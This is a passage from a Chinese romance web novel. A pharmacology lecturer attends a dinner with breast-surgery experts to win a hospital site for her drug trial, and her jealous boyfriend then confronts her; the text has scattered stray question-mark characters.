正在?这时,王林的手机响了。她一边拿出来接通,一边催促谢一菲去试裙子?。 谢一菲无奈,只好拿着?裙子?进了试衣间?。 她已经忘了有?多久没?有?买过新衣服了,也几乎忘了自己有?多久没?有?穿过裙子?了,看着?镜子?中的人,她自己都不?禁眼前一亮。这条裙子?看着?简单,但胜在?剪裁精致,就像是为她定制的,完美?勾勒出她的身形。一字肩的设计更是凸显了她的锁骨和修长的脖颈。 她用手把头发挽起,对着?镜子?照了照,好像一下子?就回?到了很多年前。 她猜王林看到一定会?劝她拿下这条裙子?,但那样?一来,半个月的工资就没?了。 可再走出试衣间?时,王林并不?在?店内。打她手机还在?通话中,大概是躲去安静的地方?接电话了。 王林不?回?来,谢一菲也不?好离开。她只好一边等她,一边在?导购的介绍下又看了几条裙子?。 在?这个过程中,她总觉得有?人在?看她,循着?那感觉看过去,透明的玻璃窗外有?人正扶着?栏杆站在?天井边打电话。 还真是人生何处不?相逢啊。 秦铮今天穿着?件深色衬衫搭配同色系西裤,一双长腿尤为醒目。此时正他的目光落在?她身上,表情?带笑,只是不?知?道是对她还是对电话那边的人。 谢一菲愣了愣,忽然想到自己还穿着?店里的裙子?,连忙不?自在?地返回?了试衣间?。 电话另一边的人没?好气道:“这次这姑娘真不 ?错,又不?用你俩单独见面,周末同行聚会?时我请上她,你就当个普通朋友认识一下……喂?我说话你听到了没?有??” 秦铮收回?视线:“不?用了。” “怎么不?用了?你不?用我你自己能找到女?朋友也行啊。” 秦铮想了想说:“周末我会?带个人去。” 这还是这么多年来的头一次,周意芝惊喜道:“男的女?的?” “男的您能同意吗?” “怎么不?同意?我开明着?呢!” 想到刚才某人落荒而逃的背影,他笑了笑:“是姑娘。” …… 第20章 第 20 章 “如果你非想再做点什么…… 周一下课回到办公?室时, 谢一菲发现桌上多了一个?快递包裹。收件人是她,收件地?址是学校。 她很少把?网购的东西寄到学校,好奇地?拆开一看, 竟然是她前一天逛街时试过的那条裙子。 裙子很好看,可惜对她而言并不实?用,所以她最后还是没有买。而且那天王林突然接到母亲摔跤的电话提前走了,所以绝对不可能是她买的, 那还能是谁? 正在这时,手机忽然响了,来电人正是刚刚出现在她脑中?的那个?人。 她犹豫了一下按下接听键, 秦铮的声?音立刻传了出来:“衣服收到了吗?” 还真是他?。 本以为?他?那天只是漫不经心地?一眼扫过,有没有看到她身上的裙子都不一定, 没想到他?不但看到了,还把?它买了下来。 “为?什么?给我寄这个??” “这么?多年了, 你是第一个?打我的人。” “所以呢?寄条裙子来感谢我给你新的体?验吗?” 秦铮笑了一声?:“我以为?你打了人心里多少会有点愧疚的, 现在看好像不是。” “你不耍流氓, 我也?不会动手。” 话是这么?说,但事实?上那一巴掌的确让谢一菲有点不安。 秦铮那人怎么?看也?不像是能忍气吞声?的,说不准挨了打以后就在想着要怎么?报复她呢! 这几天她已经做好了被他?找麻烦的准备, 可是那天之后他?再没出现,搞的她心里悬着的那把?刀也?迟迟落不下来。 今天他?终于来找她了,只是这出现的方式让她有点摸不着头绪。 “那你打也?打了, 气消了吗?” 谢一菲以为?自己听错了,难不成他?送她裙子是为?了道歉? “差不多了, 你不出现我已经忘了。” 电话里的男人声?音带笑:“你是没什么?事了,但我嘴角破了,现在还没好。” 这话说得暧昧, 谢一菲有点怀疑是不是自己那天咬他?了,但当时她脑子是空白的,很多细节现在都已经想不起来了。 她有点不自在:“你到底想说什么??” “你说如果有人问我怎么?伤的,我该怎么?回答?” 这种事他?会跟谁说?还不就是秦一鸣母子吗? 谢一菲:“你在威胁我?” “威胁算不上,有个?小事想请你帮帮忙。” 谢一菲想都没想就拒绝道:“帮不了。” 秦铮也?不生气:“之前还说要感谢我帮你请护工,今天一点小忙都不愿意帮,谢老师过河拆桥的功力见长了。” 她确实?说过要感谢他?,只是之前一直没机会。想到在医院的那几天,谢一菲的态度不自觉就软了。 她想了想问:“什么?事?” “下周末,我的导师,也?是我们科主任会请一些老同学老朋友去家里吃饭,免得她再给我乱点鸳鸯谱,我想带个?人去。” “你想让我假扮你女朋友?”谢一菲果断拒绝,“不行,我不合适。” “为?什么??” “你觉得让你堂哥的女朋友假扮你女朋友这像话吗?你给我个?地?址吧,我把?裙子寄回去……” 秦铮打断她:“我又没说让你假扮我女朋友。” “那你什么?意思??” “你只要跟我去吃个?饭就行,别人怎么?想咱俩的关系那是他?们的事。” 说到底还是要用她来挡桃花,但似乎比假扮他?女朋友好一些。 谢一菲:“你又不是没别的人选,为?什么?非得是我?” “我哪来的别的人选?” “巧巧,或者之前和你一起逛街的女生……” “我身边出现过的人你好像记得比我还清楚。” 谢一菲暗骂自己多嘴:“别误会,我记得只单纯因为?我记性?好,我记人一向?比较厉害,你就当是一种天赋吧。” 秦铮笑:“看出来了,记性?不错,我随口说的话你都记的这么?清楚。” 真是邪了门儿了!怎么?她说什么?都能被他?曲解成她对他?有所不同呢? “别在我这浪费时间了,我是不会去的。” “真的?”秦铮顿了顿说,“这一次我导师请的都是一些业内的朋友,有很多是乳腺方面的专家,在攻克乳腺癌这件事上,医药不分家。而且我导师虽然只是个?科室主任,但手上还是有点小权利的,比如你那个?项目如果想在我们科做临床试验的话,你还真得找她。” 谢一菲手上最重要的项目是一款针对乳腺癌的靶向?药研究,这是她的导师和一家叫明德的药企共同研发的项目。导师的突然病重对这个?项目而言无疑是巨大的打击。但一期试验已经结束,这款药离上市更进一步,谁也?不想在这个?时候放弃,于是导师向?明德推荐了她。 谢一菲接手项目后,主要是为?二?期试验做准备,可是原来和明德达成战略合作的医院因为?一些原因将二?期试验的时间一拖再拖,明德为?了完成业绩,也?为?了更好的开展试验,只好做出换一家医院的决定。 B大附属医院的乳腺外科自然是最好的选择,全国最好的技术就在这里,也?因为?这样,附属医院的病人最多,病人的情况也?各不相同,更有助于他?们的项目研究。 明德当然也?是这么?认为?的,可是前不久谢一菲听说明德和医院的沟通并不顺利,试验时间只能继续延后。 她最近一直在为?这个?事烦心,但从来没想过还能找秦铮帮忙。此时听他?主动提起,她很难不心动。 谢一菲犹豫了片刻问:“真的只是吃个?饭吗?” “如果你非想再做点什么?,我也?可以考虑配合。” “……”. 谢一菲已经很久没参加过聚会了,为?了表示自己的重视,也?为?了配秦铮送她的那条裙子,周六这天她特意给自己化了个?淡妆。 简单地?描了眼线和眉尾,再涂上睫毛膏和唇膏就算大功告成了。 她对着镜子照了照,明明没有太大的变化,但就是觉得整个?人明艳了很多。 收拾得差不多时,秦铮也?到了。 谢一菲带上提前准备好的礼物?和鲜花下了楼。 日落黄昏,天空是浓郁的青灰色,高高低低的黑色楼宇后有一线绯红色的霞光。街灯渐次亮起,成了这繁华都市傍晚的璀璨点缀。 秦铮的车正停在一处路灯之下,她出来时他?人等在车外,正倚着车门低头抽烟。 比起她的“隆重”,他?的穿着就显得有点随意,一身黑色衬衫和西裤,领口的几颗扣子也?是解开的。不过平心而论,他?宽肩长腿身形挺拔,天生的衣服架子,不管穿什么?都比别人赏心悦目。 似乎是听到了脚步声?,他?抬起头来。 感受到他?的审视,她心里越发紧张,别扭地?将怀里的鲜花从左手倒到了右手上。 走到他?面前,她明知故问:“看什么?呢?” 秦铮接过她手里的花和礼物?:“看我的钱花得值不值。” 提到这个?,谢一菲有点不自在:“我自己的衣服也?可以穿,你完全没必要买这条裙子,就穿一次太浪费了。” “你这么?说也?是。”秦铮故意看了眼她的背后,“你不会没剪标签吧?” “怎么?可能?!”谢一菲有点窘迫,因为?她确实?这么?想过。 再一抬眼注意到他?眼中?隐隐的笑意,这才意识到被他?捉弄了. 周意芝把?聚会的地 ?点定在京郊的家里,开车过去少说也?要一小时。 出城的路有点堵,车子一直走走停停。 秦铮漫不经心地?跟着前车,间或扫她一眼:“坐得那么?端正,紧张啊?” 他?不提她都没发现自己确实?有点紧张。想到今晚会见到很多业内的专家。她很难放轻松,而她上一次这么?紧张还是在研究生面试的时候。 “有点。”她犹豫了一下问,“万一我说错话怎么?办?” “什么?叫‘错’?” 这还真把?她问住了。 不等她回答,秦铮无所谓地?笑了:“就普普通通吃个?饭而已,你想说话就和他?们聊聊,不想说话就安静吃饭。放心,你是我带去的人,没人敢当众为?难你,更没人会让你去厨房帮忙。” 明知道他?是故意拿秦一鸣家的事来调侃她,可是她却并不觉得生气或者窘迫,反而有点感激。 她心情复杂地?看向?他?,他?目视前方开着车,却似有所感地?问:“怎么??很感动?” 谢一菲别开脸,故意冷淡地?说:“我今天是来帮你的,你维护我也?是应该的。” 秦铮:“你要是对别人也?能这么?讲原则就好了。” 她知道他?说的“别人”就是秦一鸣。 她不想跟他?讨论那天的事,岔开话题问:“你的导师为?什么?对你的个?人问题这么?关心?” “我单身,她闲着,我们师生关系不错。” “医院的工作不是应该很忙吗,为?什么?说她闲?” “工作是挺忙的,但她是单身,早年离婚后没再婚也?没孩子,这些年可能年纪大了,忽然热衷起给人保媒拉线这种事,我离她最近,自然第一个?遭殃。” 谢一菲笑了:“你还用别人保媒拉线?她是不是还不知道你的光荣事迹?” 秦铮瞥她一眼:“我有什么?光荣事迹?” “要我一个?个?说吗?” “好啊。” 谢一菲正要开口,忽然对上他?似笑非笑的表情。 差点上了他?的当。她猜只要她说,他?肯定又会说她过分关注他?的感情状况。 “算了,我懒得说。” “你以前好像比现在话多点。” “说什么?以前,我早不记得了。”她佯作淡定地?看向?窗外,“快到了吧?” 没有人回应她,但从反光的玻璃窗上她看到了他?冷峻的面色和抿起的唇。 大约半小时后,车子驶入一个?小区。 天还没有黑透,依稀看得出小区景致不错,房子都是四层高的花园洋房,一楼家家有小院,每家小院设计得都很有特色。 秦铮:“主任家就在一楼,她工作以外的兴趣爱好就是搞点花花草草的,所以当初就买了这里的房子。” “这里很贵吧?” “这个?小区虽然不错,但位置比较偏,再加上当年买得早,不算贵。” 说话间,车子已经停了下来。 小区里是人车分流的设计,两人拎着礼物?穿过一条长长的林荫路,到了周意芝家。 来开门的正是周意芝本人。她衣着打扮不算华丽,但看得出也?很讲究,脱掉了医生的白大褂,谢一菲差一点没认出她来。 秦铮介绍说:“这是我们科主任,我的导师,全国‘三八’红旗手、国内著名的甲乳外科专家周意芝主任。” 这话里带着明显的调侃成分,周意芝没好气地?白了他?一眼,拉着谢一菲进门:“是谢老师吧?秦铮跟我提过好几次。” 谢一菲知道这多半只是句场面上的客套话,笑着和对方寒暄了几句。 周意芝犹犹豫豫地?说:“我看谢老师有点面善,我们是不是之前见过?” 谢一菲只见过周意芝一次,就是她带人查房那次。 谢一菲:“之前在您那做了个?小手术。” 周意芝恍然:“我想起来了!” 说完她意有所指地?点了下秦铮:“你小子这医患关系处理得可以啊。” 明知道她误会了,秦铮也?不解释:“您不是一直劝我对患者好一点吗?我这也?是听您的话。” 上一次见面,周意芝给她的印象还是个?不苟言笑的科室主任。但今天他?们师生你一句我一句,老师没有老师的架子,学生也?没有学生的恭谨,氛围让谢一菲觉得很舒服。 谢一菲他?们到的不算早,此时餐厅里已经热热闹闹围坐了一桌人。 周意芝很热情地?一一帮谢一菲介绍着,就像秦铮说的,这些人里有不少都是业界知名专家,甲乳方面的最多,除此之外还有一些周意芝的朋友,也?都是医药界的。 看得出他?们和周意芝以及秦铮的关系都很熟稔,见谢一菲是秦铮带来的,对她的态度都是客气中?带着一丝暧昧。 周意芝好像默认了她是秦铮的什么?人,话里话外不是在夸秦铮就是在夸医生这个?职业。 “现在在大城市打拼哪一行都不好干,相比较之下,外科医生的性?价比虽然不是最高的,但是在医疗资源这么?紧俏的情况下,自己家人多少是方便一点……” 众人闻言都跟着附和。 这里的大多数人都算是秦铮的前辈和长辈,尤其是周意芝,她既是秦铮的导师又是他?的领导,而且能看得出她是很欣赏秦铮的。但在谢一菲面前,她却这样放低姿态,给人一种秦铮“高攀”了她的感觉。 可是她心里清楚,在世俗的评判标准下,她和秦铮之间只有她高攀秦铮的份,所以周意芝和在座其他?人的态度更代表着一种对她的认可和尊重。 虽然知道这一切都是假的,但谢一菲还是忍不住去对比秦一鸣母亲对她的态度。 20-30 第21章 第 21 章 “还是想想怎么跟秦一鸣…… 谢一菲百感交集地看向秦铮, 他似有所感地看过来,却?什么也没说,只是夹了?只虾放在她的碟子里, 对长辈们的“卖力推销”摆出?一副听?之任之安之若素的姿态。 她知道他这是在安抚她,让她别?有什么心?理负担,听?着就行,可这一举动在别?人?看来却?也是在意她和维护她的表现。 “刚才听?秦医生说, 谢老师在B大任教,教什么课程?”有人?忽然问。 谢一菲抬起头来,问话的是一位头发斑白的中年男人?, 听?刚才的介绍,似乎姓张, 也是甲乳方面的专家。 谢一菲:“一些药学方向的本科课程。” “原来谢老师是药学专业的,那平时也做课题研究吧?” 谢一菲颔首:“目前正和一家国内知名药企联合研制一款新药。” 刚才众人?已从医疗保险的改革聊到医疗投资的升温, 从某个病例聊到肿瘤的“慢病元年”, 这会儿又聊到了?创新药上?。 “据我所知在过去的十年里, 上?市的原创药物中90%以上?的创新药来自国外,众多癌症药物、降压药等基础药都依靠进口……” 那位张主任侃侃而谈,似乎对创新药领域也有所了?解。 起初谢一菲还以为他有什么新的见地, 结果越听?越不对劲。 谢一菲理解很多人?对国产创新药并不看好,但这位专家的观点实在有点极端,在他看来, 国内甚至没有真正意义上?的创新药。 其实这样的说法谢一菲也不是第一次听?说,可外人?可以唱衰, 自己人?深知行业处境的艰难,绝对不该说出?这样的话。医药不分家,她没想到会在这种场合也能听?到这样极端的论调, 更没想到这是出?自一个老专家之口,而且对方语气中是掩饰不住的傲慢和嘲讽。 其实这些质疑,她也有过,她也曾像这些人?一样怀疑过自己所学所做是否有意义,他们的研究有朝一时是否能开?花结果。 但是导师总是说:“你不能要求一个人?全力以赴地去做他自己都不相信的事,你要继续从事这一行,你就要坚信我们能做到,坚信今天所做的一切都会在明天开?花结果。” 导师是这样的人?,坚定地相信着,且努力实现着。她也因此?开?始学着相信,然后在一个个小小的成绩中变得对未来充满信心?且坚 定不移。 所以此?时听?到这些人?说这些话,她无法做到置之不理,更不会为了?场面融洽就去迎合对方。 谢一菲:“药物研发的高?成本和高?风险是药学领域的首要难题。从药物靶点的发现到临床前研究,再到临床试验的各个阶段,都需要投入大量的资金、时间和人?力。而且知识产权保护和仿制药的竞争、临床研究的复杂性和不确定性都是阻碍。但是从古至今,治愈疾病甚至长生的需求一直在,药学和医学一样从来没有停止过探索和努力。国外是这样,国内也是如此?。近些年,已经有大量的资本和人?才涌入到了?这个领域中,而且受益于医保谈判的利好影响,仿制药的泡沫逐渐被压缩,这就是创新药的机遇……” 热热闹闹的餐厅渐渐安静了?下来,只有谢一菲自己的声音。 她能感受到所有人?都在看着她,包括她身边的那个人?。 等她停下来时,刚才唱衰国产创新药的那位张主任脸色已经不那么好看了?。 说不过谢一菲,他皮笑肉不笑地感慨了?一句:“年轻人?啊……” 后面的话没说出?口,但无非就是说她狂妄或者?天真吧。 场面一时有点尴尬,有人?笑着打圆场,不动声色地把话题引到了?秦铮身上?。 “李医生,你上?次不是说有个情况想咨询周主任和秦医生吗?这么好的机会可别?错过了?。” 原来那位李医生家的某位长辈刚刚确诊了?三阴性乳腺癌,这类亚型乳腺癌浸润性高?,对很多治疗手段不敏感,治疗效果不理想,而秦铮的主攻方向就是三阴性乳腺癌,他正想咨询一下目前有没有什么更有效的治疗手段。 三阴性乳腺癌是公认的乳腺癌里“最毒”的一种,听?闻对方家人?得了?这病,秦铮神色也严肃了?几分:“这个病确实比较棘手,由于它?缺乏有效的治疗靶点,化疗仍然是目前临床中最常用的治疗策略,最多就是再配合一些免疫治疗吧。” 李医生略感失望:“但是化疗存在严重?的毒副作用,长期化疗还会导致获得性耐药,现在不是也有很多针对这类亚型的靶向药吗,效果怎么样?” 秦铮:“能用于临床的靶向药确实有,但并不多,而且疗效也是因人?而异。所以这类新药的研制仍然是目前临床面临的一个重大挑战。” “确实,我家人?换过几次要了?,效果都很一般。”他顿了顿,似乎是想到了?什么说,“你们是专家,肯定比我们患者?消息多,有没有什么临床阶段疗效不错的药?如果可以的话,我想帮我家人?申请参与试验。” 秦铮笑着看了?眼旁边的谢一菲:“这不是巧了?吗?谢老师目前参与研发的就是一款针对乳腺癌的靶向药,据我所知已经进入临床二期了?。” 李医生闻言惊喜地看向谢一菲:“刚才就想问谢老师是做哪类药品研发的,没想到竟然是乳腺癌靶向药的研发,那真是太?巧了?!” 周意芝闻言也很意外:“看来我们还是一条战壕里的战友啊,难怪你和秦医生能谈到一块去。那正好,能不能给我们介绍一下这个项目?” “当然了?。”这才是谢一菲今晚来这里的主要目的,“这款药前前后后已经研究很多年了?,我导师近些年的心血都投在了?这款药的研发上?,在他去世之后这个项目才交到了?我的手上?。简单来说这是一种抗体偶联药物,是很有潜力的新型靶向药物。这类药物由抗体和强化疗药两部分组成,设计理念简单来讲就是使抗体?带着化疗药去找肿瘤细胞,然后精准地给肿瘤细胞下毒。这种药物设计结合了靶向药的精准和化疗药的高?效,既避免了?全身使用化疗药的毒副作用,也比单独使用靶向药具有更强的杀伤能力,可以说是一举两得。” 周意芝:“刚才你提到你的导师,不知道你的导师是哪位?” 谢一菲:“B大药学院的前院长李青山。” 周意芝恍然:“难怪,原来你是李教授的学生。我知道他,他在乳腺癌的诊疗方面做出?了?巨大贡献。只是可惜了?,没想到人?还没退休就忽然去世了?,这绝对是医学和药学界的重?大损失。” 谢一菲的导师在业界也算赫赫有名了?,所以周意芝听?说过谢一菲也不觉得意外。 “其实他生病有段时间了?,我们都有心?理准备。” 气氛因为这个话题一时间有点低沉。 那位李医生打破了?沉默:“不过多亏了?李教授后继有人?,这也是不幸中的万幸了?,希望这款药能顺利上?市,早点用在患者?身上?。对了?,不知道我家人?的情况可不可以申请参与试验?” “这需要您家人?带着相关体?检结果到我们合作的医院做一个评估才能确定。”谢一菲顿了?顿抱歉道,“不过我们目前还没决定好和哪家医院合作,估计还要等一等。” 李医生闻言有点着急:“这个病多等一天都等不起,那你们现在有在谈的意向医院吗?我们在座的都可以帮着联系。” 谢一菲没回答这个问题,而是迅速看了?眼周意芝。 周意芝怔了?怔,然后了?然笑了?。 难怪秦铮这家伙舍得把喜欢的人?带到这种场合,还不厌其烦地给人?制造展现自己的机会,原来目的在这呢。 周意芝也没再端着,决定给他这位学生一个薄面:“关于这个问题,或许我们一会儿可以好好聊聊。” 愿意跟她聊就是说她的项目还有机会。 谢一菲难得喜形于色:“虽然好几家医院的实力都不俗,但我们已经给附属医院递过申请了?,不过之前都是由企业出?面协调的,不知道什么原因,进展一直不是很顺利。” “那正好,咱们一会儿聊聊看,是哪个环节出?了?问题。” 谢一菲来这里的最主要的目的已经达成,心?里的那块大石头也终于放下了?。她感激地看了?眼秦铮,他却?浑不在意,又和旁边人?聊起别?的话题。 晚餐结束后,其他人?陆续离开?,只有秦铮和谢一菲留了?下来。 谢一菲尽可能详细的把项目的情况给周意芝介绍了?一遍,两人?聊了?将近一小时,最后周意芝说:“这个事情我一个人?决定不了?,需要院里再进行一个评估。不过我会亲自跟进这件事,如果这个药确实适合在我们这里试验,那我也会极力推进促成合作。” 有她这句话,谢一菲就放心?了?。 项目的事对谢一菲而言是大事,秦铮今晚也算帮了?她大忙。那晚他在初涩强吻她的事,不管他是因为喝多了?还是出?于其他什么原因,她都决定不想再计较了?。而且,如果项目能顺利在附属医院开?展临床试验,她和秦铮就免不了?再打交道,既然如此?,不如冰释前嫌。 回去的路上?,两人?聊着谢一菲那个项目后续的事,原本一筹莫展的事忽然有了?新的转机,谢一菲心?情很不错,直到一通电话打进来。 看到来电人?名字,她不由得怔了?怔。 上?次的不愉快后,秦一鸣就再没联系过她,她也觉得现阶段的他们确实需要冷静冷静,好好思考一下未来的事。不过既然谁也没提分手,那他们就还是男女朋友的关系,但他怎么偏偏好巧不巧地这时候打来电话? 秦铮瞥她一眼,像是已经猜到了?来电人?是谁。 “不接吗?” 谢一菲知道秦一鸣一直很在意她和秦铮的往来,所以看到他打电话来,她的本能反应是心?虚,可是不接又好像她真的做了?什么对不起他的事一样。 谢一菲想了?想还是接通了?电话。 秦一鸣的声音从听?筒里传了?出?来,在安静的车内格外清晰。 一个星期没联系,秦一鸣却?一句铺垫都没有,开?门见山地问她:“在哪呢?” 谢一菲迟疑了?一下回答说:“刚参加了?一个聚会,正在回去的路上?。” 秦一鸣似乎有点意外:“什么聚会?你不是一直不喜欢这些活动吗?” “和一些甲乳方面 的专家一起吃了?个饭。” 秦一鸣听?她说工作,立刻兴致缺缺:“大概什么时候到家?” 谢一菲:“还有十几分钟,怎么了??” “我在你家楼下,等见面说吧。” 谢一菲愣怔了?一下,然后立刻坐起身来朝窗外看去。此?时他们已然快到她家小区了?。 谢一菲还想再说什么,但秦一鸣已经挂断了?电话。 谢一菲连忙对秦铮说:“就在这里停吧。” 她说着便?解开?安全带做好下车的准备,然而车子却?一点没有减速,直接驶入了?小区。 谢一菲有点着急了?:“我说停车。” “这不是还没到吗?” “回头跟你解释。” 秦铮似笑非笑地说:“跟我就不用了?,还是想想怎么跟秦一鸣解释吧。” 谢一菲怔了?怔,这才意识到他是故意的。 此?时,谢一菲租住的那栋楼近在咫尺,路灯下的那道人?影也越来越清晰…… 第22章 第 22 章 “这么大热的天,不请我…… 陡然出现的强光让秦一鸣下意识抬手?去挡, 但他似乎是认出了秦铮的车,不顾光线刺眼也一直试图看向车内。 直到车子熄火,他才缓缓放下手?, 但视线始终锁定?车里的谢一菲。 谢一菲和车外的秦一鸣对视了片刻,深吸一口气推门下了车。 她走上?前:“怎么?来之?前也不跟我说一声?” 秦一鸣没有?回答她的问题,而是扫了眼她身后?的秦铮,有?点警惕地问:“你们怎么?在一起?” 谢一菲知道秦一鸣很介意她和秦铮接触, 耐心解释说:“今晚的聚会是附院周主任组织的,周主任是秦医生的导师,我手?上?那个项目想在周主任那开?展二期试验, 所以请秦医生帮忙给我引荐了一下。” 秦一鸣打量着她,神色稍缓:“怎么?这么?晚?” 谢一菲很不喜欢这种被?人盘问的感觉。 身后?跟上?来的秦铮替她回答道:“一群人聊起来没完, 耽误了一点时间。” 谢一菲清楚看到,秦一鸣刚放松下来的面色又因为秦铮的出现紧绷了起来。 不知道是不是因为秦一鸣那职称的事, 她觉得?他们兄弟之?间的感觉和上?次很不一样。以前或许也算不上?多好?, 但至少面子上?还过得?去, 但今天,谢一菲真怕俩人一言不合就动手?。 她连忙对秦铮说:“确实有?点晚了,那秦医生早点回去吧, 今天谢谢了。” 秦铮笑了一下:“不客气。” 上?车前,他又朝她的方向看了一眼。 他虽然什么?也没说,但谢一菲却读懂了那一眼蕴含的意思——他肯定?又在心里说她过河拆桥。 目送着秦铮的车离开?, 她巧巧松了口气,抬头又对上?秦一鸣审视的目光。 她顿了顿说:“你不是说有?话要说吗?上?楼说吧。” 他们在一起这么?久, 在这之?前几乎没遇到过什么?需要一起克服的困难,所以也就没让谢一菲觉得?他们两个人有?多不合适。但是自从秦母亲表明了不接受她的态度后?,他们之?间就矛盾重重。 十来天没联系, 他忽然找她说有?话要说,还非要当面说,他要说的显然不是普通的话。事实上?她已经猜到他要说什么?了。 进了家门,沉默许久的秦一鸣终于开?口了,却只?字不提他要跟她说的话,而是开?始盘问她—— “你什么?时候跟我弟关系那么?好?了,能请动他帮忙?” “你要求他办事难道不该先跟我说一声吗?” “什么?聚会需要你穿成这样?” 秦铮能帮她引荐周意芝或许有?他的目的在,但不管他是为了什么?,她不可能错过这样的机会。因为二期试验的事,她一度整夜整夜睡不着,这些秦一鸣都知道,但是他却从来没提过他有?个附属医院乳腺外科的堂弟。她可以理解他们关系一般,他不愿为了她去求人,那他又有?什么?立场责怪她没有?事先报备呢? 还有?,她的衣服怎么?了?她不觉得?有?什么?不好?。 谢一菲:“该说的我刚才都说了。” 秦一鸣嘲讽地笑了笑:“你跟他才哪到哪,就开?始对我不耐烦了?” 或许是晚上?喝了点酒的缘故,刚才又在楼下吹了风,此时她觉得?额角的那根经一抽一抽的疼。 她忍着头痛说:“我没有?不耐烦,但是我今晚很累了,而且咱俩的事跟他没关系。” 秦一鸣陡然提高了音量:“你说没关系就没关系,你当我是傻子吗?” 谢一菲:“你能不能冷静点?” “我怎么?冷静?这段时间我没联系你你高兴坏了吧?正好?有?时间可以跟别人眉来眼去了……我怎么?以前没发?现你还有?这本事,能让我弟那种人对你言听计从……” 谢一菲愣住了,这是她第一次见这样的秦一鸣,看着他失控抓狂颠倒黑白的样子,她几乎怀疑自己是否真的认识过他。 她以前怎么?会觉得?他儒雅、有?学者气的? 是他变了,还是她变了?又是什么?把?他们改变了? 在最?初的震惊后?,谢一菲渐渐平静了下来。等他发?泄完,她才开?口:“既然决定?分?手?了,还说这些干什么??” 秦一鸣微微一怔:“你什么?意思?” 谢一菲平静地看着他:“你一定?要当面跟我说的话是什么??” 前一秒还口沫横飞的人这一刻突然安静了。 片刻后他颓然地坐在了沙发上?,抱着头一动不动。 谢一菲叹了口气,该面对的还是要面对:“我们谈谈吧。” 她以为他们终于可以心平气和地坐下来体体面面地聊一聊了,可秦一鸣却一言不发?。他扭过头不看她,好半天谢一菲才意识到他竟然在哭。 她从未见过男人流泪,更没见过秦一鸣哭,说心里一点都不难受是假的。 她一时间有?点手?足无措,连忙抽了几张纸巾递给他。 他愤愤接过纸巾胡乱擦了擦脸,然后?苦笑道:“你早就想分手了吧?不然为什么?这么?久不联系我?” “你不也没联系我吗?你也在考虑吧?” 其实在今天之?前,她都还没想好?她和秦一鸣未来的路该怎么?走,两人毕竟谈了这么?久,要结束没那么?容易,可是她也不想稀里糊涂地和好?,不久又因为他家里的态度吵架,然后?再这么?周而复始地折磨彼此。 但是今天晚上?发?生的一切,让她忽然就看清了自己的内心——无论秦一鸣接下来要说什么?,她的决定?都只?有?一个。 谢一菲说:“秦一鸣,你上?次问我的问题,我后?来也想了很久……” 关于她是否爱他的问题,她斟酌着要怎么?说清楚自己的想法,秦一鸣却忽然有?点慌乱地打断了她:“不用了。” “不用什么??” “那天我说了什么?我都忘了……其实也没都忘掉。”他抓起她的手?,“我记得?我说了很多气话,但那都不是真心的。是我还不够成熟,控制不好?情绪,我为我那天说的话向你道歉,你能原谅我的口不择言吗?” 她能原谅他吗? 说到底他并没犯什么?大错,他也只?是个普通人,有?他的优点和缺点,只?是他们不合适而已。 想到这里,谢一菲点点头。 秦一鸣松了口气:“谢谢你一菲,我保证,以后?再也不会说这样的话。” 谢一菲意识到,他或许误解了她的意思。 她抽出手?:“一鸣……” 可她刚一开?口,又被?他打断:“其实我找你也没有?什么?特别的话要说。我今天在京郊培训了一整天,就是突然很想见你,然后?就开?了一个多小时的车赶回来了,一会儿还得?回去。” “一鸣,其实我……” 秦一鸣:“你知不知道我这段时间都是怎么?过的?不怕告诉你,这段时间我想了很多,也想过要不我们就算了。因为我心里有?一个声音告诉我,一个是生我养我的人,她苦了一辈子,我为什么?不能顺她的心?这世?界上?的女孩子那么?多,谁离了谁都能活得?好?好?的,跟你分?手?我或许会难过一阵子, 但一阵子之?后?也就好?了,可我妈那边儿不一样。可是,我一想到以后?不能总见到你,我心里就像猫抓一样难受……” 话说一半,他声音哽咽了,眼圈也红了:“我不明白我妈到底有?什么?不满意的,她怎么?就不能心疼心疼我?她要是能像你这么?深明大义就好?了。” 看着眼前的秦一鸣,这个和自己在一起近两年的男人,谢一菲原本想说的那些话忽然就说不出口了. 从谢一菲家里出来时,已经是深夜了,秦一鸣像是刚打了一场硬仗一样浑身上?下都没了力气。恰巧这时候,他收到了刘希若发?来的微信。 【跟她说清楚了吗?】 看着那几个字,秦一鸣只?觉得?脑仁疼。 那晚之?后?,他尝试着和刘希若划清界限,但刘希若不肯,而且再面对他时也没有?以前小心试探的样子了,完全把?他当她男朋友对待。昨天听说他在京郊要培训,更是招呼都不打一声就跑过去了。 她不知道他有?多害怕,因为去培训的老师大部分?都住在那家酒店里,万一被?人看到他们在一起,那他的一切都完了。 刘希若一直希望他和谢一菲分?手?,酒吧那晚发?生的事又让刘希若拿到了他的把?柄,她虽然没有?明说,但他能想得?到,如果他不能如她的意和谢一菲分?手?,事情会变成什么?样。 一边是自己的前途和工作,另一边是不被?他妈认可的女朋友。 他不想去做这个决定?,却不得?不做。 可是他真的要跟谢一菲分?手?吗?在她家楼下等她回来的那段时间里,他想了很多。 男人还是了解男人的,秦铮其实说对了一点,他不该把?那晚所有?的责任都推给几杯酒。他对刘希若真的没有?动过心吗?一个来自心底的声音告诉他,不是的。 刘希若明艳灵动,有?年轻人的大胆和执着,她会直白表达对他的爱慕,被?他拒绝后?依旧锲而不舍。最?重要的是,他能从她追随的目光中感受到那种钦慕和爱恋。说到底他也只?是个普通男人,会对年轻漂亮的女孩有?想法,会因为他们的仰望而沾沾自喜,她让他的虚荣心得?到极大的满足,这是在谢一菲那里感受不到的。 可是,就像他对很多人说的那样,他爱谢一菲。 她情绪稳定?,通情达理,有?学识有?见识,样貌不算多漂亮但也有?江南女孩特有?的温婉,有?一种独属于她的韵味。虽然她不是他妈理想中的儿媳妇,却是他理想中的妻子人选。 但是他妈对她家的情况不满意,一直让他和谢一菲分?手?,他为此纠结了很久,刚才他对谢一菲说的那些话也都是真的。 尤其是这段时间,他挣扎过,努力过,和他妈大吵大闹过。见他这么?坚持,她妈已经有?妥协的迹象了。谁知一波未平一波又起…… 他知道,如果谢一菲知道了他和刘希若的事,那到时候还是要分?手?,索性长?痛不如短痛。可没想到会看到秦铮送谢一菲回来。 秦铮对谢一菲的心思已经是“明牌”了。秦铮的出现让他刚下定?的决心又动摇了。 想到今晚她从秦铮车上?下来的那一幕,用“艳光四射”形容也不为过。为什么?在他身边普普通通的一个人在另一个男人身边却仿佛脱胎换骨了? 明明是他先认识的谢一菲,明明谢一菲是他女朋友!他很快想到,如果这时候和谢一菲分?手?,那岂不是成全了他们? 只?要想到谢一菲和别人在一起的样子,他就不甘心! 